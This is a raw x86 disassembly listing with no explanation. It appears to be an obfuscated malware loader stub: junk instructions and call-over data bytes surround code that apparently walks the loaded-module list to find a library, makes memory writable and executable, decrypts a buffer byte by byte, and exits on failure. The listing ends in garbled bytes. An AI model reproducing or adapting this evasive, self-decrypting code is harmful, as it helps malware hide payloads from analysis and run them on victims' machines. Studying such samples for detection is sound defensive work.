mov ecx, dword [ebp - 0x19e0]
mov dword [ebp - 0x1684], ecx
push ecx
and ecx, 0x13596
sub ecx, 0x11f63
sub ecx, 0xf489
pop ecx
push eax
push esi
add esp, 4
or eax, 0xd3d1
add eax, 0x9a70
or eax, 0x12e5
add eax, 0x1502d
pop eax
cmp dword [ebp - 0x1684], 0
jne 0x41458c
mov dword [ebp - 0x2f4], 0
jmp 0x414833
mov edx, dword [ebp - 0x1684]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xce4], ecx
push edx
push edx
add esp, 4
jmp 0x4145ac
jmp 0x4145b5
pop edx
push esi
xor esi, 0x14003
jmp 0x4145c4
pop esi
push ebx
push eax
add esp, 4
jmp 0x4145cf
pop ebx
cmp dword [ebp - 0xce4], 0
jne 0x4145e8
mov dword [ebp - 0x2f4], 0
jmp 0x414833
mov edx, dword [ebp - 0xce4]
mov dword [ebp - 0x520], edx
push eax
and eax, 0x154d1
pop eax
push edi
push esi
add esp, 4
jmp 0x414609
pop edi
push ebx
add ebx, 0x1329c
add ebx, 0xc0c
pop ebx
push ebx
add ebx, 0x2a47
sub ebx, 0x16a1
pop ebx
lea eax, [ebp - 0x1740]
mov dword [ebp - 0xce0], eax
mov ecx, dword [ebp - 0x520]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcdc], edx
xor eax, eax
mov word [ebp - 0x224], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push esi
xor esi, 0x7e9c
jmp 0x41465f
add esi, 0x109ca
sub esi, 0xa9c5
pop esi
push edx
add edx, 0x1078f
sub edx, 0x14999
pop edx
push edi
xor edi, 0x525c
pop edi
mov edx, dword [ebp - 0xcdc]
mov ax, word [edx]
mov word [ebp - 0x104a], ax
mov ecx, dword [ebp - 0xcdc]
add ecx, 2
mov dword [ebp - 0xcdc], ecx
mov dx, word [ebp - 0x104a]
mov word [ebp - 0x224], dx
mov eax, dword [ebp - 0xce0]
mov cx, word [eax]
mov word [ebp - 0x104c], cx
mov edx, dword [ebp - 0xce0]
add edx, 2
mov dword [ebp - 0xce0], edx
mov ax, word [ebp - 0x104c]
mov word [ebp - 0x40], ax
push edx
and edx, 0xca44
jmp 0x4146e6
add edx, 0x185e4
jmp 0x4146f3
pop edx
push esi
push edi
add esp, 4
call 0x414707
add byte [esi], bh
dec edi
push eax
inc esi
cmp eax, 0x833f4940
les eax, [esi + ebx*2]
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x414728
movzx edx, word [ebp - 0x224]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x168c], edx
jmp 0x414782
movzx ecx, word [ebp - 0x224]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x414650
movzx eax, word [ebp - 0x224]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x414650
movzx edx, word [ebp - 0x224]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x41476c
mov dword [ebp - 0x1688], 0xffffffff
jmp 0x414776
mov dword [ebp - 0x1688], 1
mov ecx, dword [ebp - 0x1688]
mov dword [ebp - 0x168c], ecx
cmp dword [ebp - 0x168c], 0
jne 0x4147cb
push ebx
xor ebx, 0x34ce
or ebx, 0x123c7
add ebx, 0x12baa
and ebx, 0x12439
pop ebx
push esi
push eax
add esp, 4
xor esi, 0x14601
or esi, 0x609f
or esi, 0xfeed
pop esi
mov edx, dword [ebp - 0x520]
mov dword [ebp - 0x2f4], edx
jmp 0x414833
push ecx
add ecx, 0x39f2
call 0x4147e1
add byte [eax + 0x3f], cl
dec ebx
dec ebp
cmp byte [ebx + esi], bh
cmp eax, 0x4c48345
call 0x4147f3
add byte [ecx + 0x43], al
dec esi
inc ecx
dec eax
cmp al, 0x42
dec ebp
dec esp
add esp, 4
or ecx, 0x131f9
pop ecx
mov eax, dword [ebp - 0x520]
mov ecx, dword [eax]
mov dword [ebp - 0x520], ecx
mov edx, dword [ebp - 0x520]
cmp edx, dword [ebp - 0xce4]
je 0x414829
mov eax, dword [ebp - 0x520]
cmp dword [eax + 0x30], 0
jne 0x4145f4
mov dword [ebp - 0x2f4], 0
push edx
call 0x414841
add byte [edx + 0x45], cl
cmp bh, byte [ecx]
xor al, byte [eax + 0x4a]
add esp, 4
and edx, 0x15d80
add edx, 0x483b
pop edx
push ecx
and ecx, 0x5cda
and ecx, 0x13e3c
and ecx, 0x13aaa
pop ecx
mov ecx, dword [ebp - 0x2f4]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x36c], edx
push edx
call 0x414884
add byte [ebx + eax*2 + 0x34], al
cmp cl, byte [eax + 0x46]
inc ecx
xor eax, 0x4c48346
xor edx, 0xb97d
call 0x41489c
add byte [eax + 0x4e], dl
dec edi
dec edi
dec esp
cmp eax, 0x834b323c
les eax, [ecx + eax*4]
retf 0xd047
push edx
or edx, 0x8b2
sub edx, 0x97be
pop edx
push eax
push ebx
add esp, 4
xor eax, 0x1349b
pop eax
push ebx
push edx
add esp, 4
or ebx, 0x1551
xor ebx, 0x14dcd
xor ebx, 0x5deb
pop ebx
mov edx, dword [ebp - 0xac0]
mov dword [ebp - 0x19f4], edx
lea eax, [ebp - 0xcec]
push eax
push 0x40
mov ecx, dword [ebp - 0x169c]
push ecx
mov edx, dword [ebp - 0x3e4]
push edx
call dword [ebp - 0x19f4]
test eax, eax
jne 0x414c78
push esi
push eax
add esp, 4
sub esi, 0x17e72
add esi, 0xc990
pop esi
push ebx
push esi
add esp, 4
add ebx, 0x160c0
jmp 0x414c57
and ebx, 0xcebb
and ebx, 0x9c3f
pop ebx
mov eax, dword [ebp - 0x7a0]
mov dword [ebp - 0x19f8], eax
push 0
call dword [ebp - 0x19f8]
mov ecx, dword [ebp - 0x19fc]
mov dword [ebp - 0x79c], ecx
jmp 0x414c95
mov edx, dword [ebp - 0x79c]
add edx, 1
mov dword [ebp - 0x79c], edx
mov eax, dword [ebp - 0x79c]
cmp eax, dword [ebp - 0xac4]
jae 0x414cf1
push esi
push esi
add esp, 4
call 0x414cb7
add byte [eax + 0x3e], cl
aaa
xor eax, 0x3c3a3b34
dec edi
add esp, 4
add esi, 0xff8c
pop esi
push ecx
xor ecx, 0xf4a2
sub ecx, 0x1fde
or ecx, 0x74d7
pop ecx
movzx ecx, byte [ebp - 0x3ed]
mov edx, dword [ebp - 0x79c]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x79c]
mov byte [ecx], al
jmp 0x414c86
mov edx, dword [ebp - 0xac0]
mov dword [ebp - 0x1a00], edx
lea eax, [ebp - 0xcec]
push eax
mov ecx, dword [ebp - 0xcec]
push ecx
mov edx, dword [ebp - 0x169c]
push edx
mov eax, dword [ebp - 0x3e4]
push eax
call dword [ebp - 0x1a00]
test eax, eax
jne 0x414d69
push ebx
or ebx, 0xa34f
or ebx, 0x38b2
add ebx, 0xf3b0
call 0x414d43
add byte [edx + 0x38], cl
cmp dword [ebx + eax*2 + 0x49], eax
dec ebx
add esp, 4
pop ebx
push edx
push eax
add esp, 4
jmp 0x414d54
pop edx
mov ecx, dword [ebp - 0x7a0]
mov dword [ebp - 0x1a04], ecx
push 0
call dword [ebp - 0x1a04]
push ebx
push edx
add esp, 4
add ebx, 0x16012
xor ebx, 0xfc6a
xor ebx, 0xf818
xor ebx, 0x70d7
pop ebx
push esi
call 0x414d97
add byte [edx + eax*2 + 0x45], al
cmp dword [esi], esi
inc eax
cmp dh, byte [edx + edi]
add esp, 4
pop esi
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff06ff
pop ecx
pop ebp
pop esp
mov edx, ecx
or al, byte [edi + 0x65a6af5]
push es
pop eax
pop ebp
mov edx, ecx
or ch, dh
adc byte [esi], al
push es
push es
push es
dec edx
inc edi
dec ecx
push ecx
dec esi
dec esp
dec ecx
cmp byte [eax - 0x77], dl
retf 0xf10a